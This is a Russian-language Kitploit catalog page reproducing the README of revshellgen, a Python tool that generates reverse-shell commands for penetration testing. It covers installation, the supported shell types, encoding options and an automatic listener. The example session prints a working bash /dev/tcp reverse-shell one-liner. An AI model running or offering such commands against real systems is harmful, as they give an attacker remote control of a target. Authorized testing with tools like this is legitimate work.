Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
revshellgen — Генератор обратной оболочки, написанный на Python 3. | Kitploit
Инструменты/GitHubGitHub/t0thkr1s/revshellgen
Генерация полезной нагрузкиЭксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingГенерация ШеллкодаРазработка Полезной Нагрузки
GitHubt0thkr1s/revshellgen

revshellgen

Генератор обратной оболочки, написанный на Python 3.

Репозиторий
56594131 год назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚀 RevShellGen

Генератор обратных оболочек

Python License Stars

CI Tests PyPI

Автоматизируйте создание обратных оболочек со стилем
Генерируйте, кодируйте и ловите обратные оболочки без лишних хлопот


Возможности • Установка • Использование • Поддерживаемые оболочки • Участие в разработке

📖 О программе

RevShellGen — это мощный инструмент командной строки, который упрощает процесс генерации команд обратных оболочек. Больше не нужно искать синтаксис, вручную кодировать или настраивать конфигурацию. Этот инструмент справляется со всем через интуитивно понятный интерфейс.

🎯 Ключевые возможности

  • 🖥️ Интерактивный CLI — удобный интерфейс на основе меню
  • 🔄 Автоматическое кодирование — поддержка URL и Base64 кодирования
  • 📋 Интеграция с буфером обмена — автоматическое копирование сгенерированных команд
  • 🌐 Определение сети — автоматическое обнаружение IP-адресов
  • 🎨 Множество типов оболочек — Bash, Python, Netcat, PowerShell и другие
  • 🔊 Встроенный слушатель — автоматическая настройка слушателя netcat/ncat
  • 🍎 Кроссплатформенность — полная поддержка Linux и macOS
  • 📚 Руководство по улучшению TTY — исчерпывающие инструкции для модернизации оболочки

🚀 Быстрый старт

Вариант 1: Установка из PyPI

root@kitploit:~
# Install from PyPI
pip install revshellgen

# Run the tool
revshellgen

Вариант 2: Установка из исходного кода

root@kitploit:~
# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Install dependencies
pip3 install -r requirements.txt

# Run the tool
python3 revshellgen.py  # or python3 revshellgen_cli.py

📦 Установка

Предварительные требования

  • Python версии 3.6 или выше
  • pip (менеджер пакетов Python)

Зависимости

RevShellGen требует следующие пакеты Python:

ПакетНазначение
pyperclipОперации с буфером обмена
coloramaЦвета терминала
readcharИнтерактивный ввод клавиш
netifacesОбнаружение сетевых интерфейсов

Способы установки

Способ 1: Использование requirements.txt (самый простой)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Способ 2: Использование setup.py (традиционный)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Способ 3: Виртуальное окружение (рекомендуется для изоляции)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Способ 4: Ручная установка
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Способ 5: Установка для текущего пользователя (не требует sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Примечания для конкретных платформ

🐧 Linux

root@kitploit:~
# You may need to install python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# Install ncat for better listener support
brew install nmap  # Includes ncat

💻 Использование

Базовый рабочий процесс

  1. Запустите инструмент

    root@kitploit:~
    python3 revshellgen.py
    
  2. Настройте обратную оболочку

    • Выберите ваш IP-адрес (определяется автоматически)
    • Укажите порт (например, 4444, 9001)
    • Выберите тип оболочки (bash, python и т.д.)
    • Выберите кодирование (нет, URL, Base64)
  3. Сгенерированная команда автоматически копируется в буфер обмена

  4. Запустите слушатель (автоматически)

  5. Выполните команду на целевой машине

📸 Скриншоты


Выбор оболочки

Генерация команды

🐚 Поддерживаемые оболочки

Тип оболочкиОписаниеПлатформа
BashBash TCP обратная оболочкаLinux/Unix
PythonОбратная оболочка на PythonКроссплатформенная
NetcatТрадиционная обратная оболочка ncLinux/Unix
Netcat mkfifoNetcat с именованным каналомLinux/Unix
PerlОбратная оболочка на PerlКроссплатформенная
PHPОбратная оболочка на PHPКроссплатформенная
RubyОбратная оболочка на RubyКроссплатформенная
JavaОбратная оболочка на JavaКроссплатформенная
AWKОбратная оболочка на AWKLinux/Unix
SocatОбратная оболочка SocatLinux/Unix
Socat TTYSocat с полным TTYLinux/Unix
TelnetОбратная оболочка TelnetLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Расширенные возможности

Улучшение TTY оболочки

RevShellGen теперь включает исчерпывающие инструкции по улучшению TTY. После получения оболочки инструмент предоставляет:

  • Пошаговые методы создания PTY
  • Определение и настройку размера терминала
  • Несколько техник улучшения для разных окружений
  • Советы по устранению распространённых проблем
  • Команды для быстрого ознакомления

Параметры кодирования

  • Нет — вывод сырой команды
  • URL Encode — для эксплуатации веб-приложений
  • Base64 — для обфускации команды

Параметры слушателя

Инструмент автоматически обнаруживает и использует подходящую версию netcat:

  • ncat (предпочтительно, из пакета nmap)
  • nc (традиционный netcat)
  • Поддержка синтаксиса nc для macOS

📝 Пример сеанса

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ ВЫБЕРИТЕ IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Указать вручную

---------- [ УКАЖИТЕ ПОРТ ] ----------
[ # ] Введите номер порта : 4444

---------- [ ВЫБЕРИТЕ КОМАНДУ ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ КОМАНДА ОБРАТНОЙ ОБОЛОЧКИ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Команда скопирована в буфер обмена!
[ + ] Запуск слушателя на порту 4444...

🤝 Участие в разработке

Приветствуются любые вклады! Пожалуйста, свободно отправляйте запросы на включение изменений (Pull Request). Для серьёзных изменений сначала откройте issue, чтобы обсудить, что вы хотите изменить.

Настройка разработки

root@kitploit:~
# Clone your fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# Create a branch
git checkout -b feature/your-feature-name

# Make your changes and commit
git add .
git commit -m "Add your feature"

# Push to your fork
git push origin feature/your-feature-name

# Create a Pull Request

🐛 Проблемы и поддержка

Нашли ошибку или есть предложение? Пожалуйста, откройте issue на GitHub.

📜 Лицензия

Этот проект лицензирован под GNU General Public License v3.0 — подробности в файле LICENSE.

⚠️ Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей.

Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.

🙏 Благодарности

  • PayloadsAllTheThings — справочные материалы по обратным оболочкам
  • ropnop — техники улучшения TTY
  • PentestMonkey — шпаргалка по обратным оболочкам
  • Все участники и пользователи этого инструмента

Сделано с ❤️ пользователем t0thkr1s
Поставьте звезду ⭐ этому репозиторию, если он вам полезен!
Скачать инструмент